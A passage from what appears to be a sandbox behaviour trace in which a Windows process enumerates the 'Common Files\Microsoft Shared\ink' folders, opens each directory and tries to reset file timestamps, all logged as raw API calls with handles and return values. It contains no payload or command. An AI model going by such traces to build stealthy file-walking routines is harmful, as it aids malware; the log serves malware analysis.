ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0143.421] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0143.439] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.440] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.440] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.440] NtClose (Handle=0x1a4) returned 0x0 [0143.440] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.440] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.440] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.441] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.441] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.441] GetLastError () returned 0x12 [0143.441] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.441] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.441] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.441] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.441] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.441] GetLastError () returned 0x12 [0143.441] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.441] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.442] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.442] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.442] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0143.442] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.443] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.443] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.443] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.443] NtClose (Handle=0x198) returned 0x0 [0143.443] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.443] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.443] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.444] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.445] GetLastError () returned 0x12 [0143.445] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.445] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.445] GetLastError () returned 0x12 [0143.445] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.445] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.445] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.445] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0143.445] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0143.445] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0143.447] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.447] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.447] NtClose (Handle=0x1a4) returned 0x0 [0143.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.447] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.447] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.448] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.448] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.448] GetLastError () returned 0x12 [0143.448] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.448] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.449] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.449] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.449] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.449] GetLastError () returned 0x12 [0143.449] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.449] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.449] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.449] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.449] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0143.449] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.450] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.450] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.450] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.450] NtClose (Handle=0x198) returned 0x0 [0143.450] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.450] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.451] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.452] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, 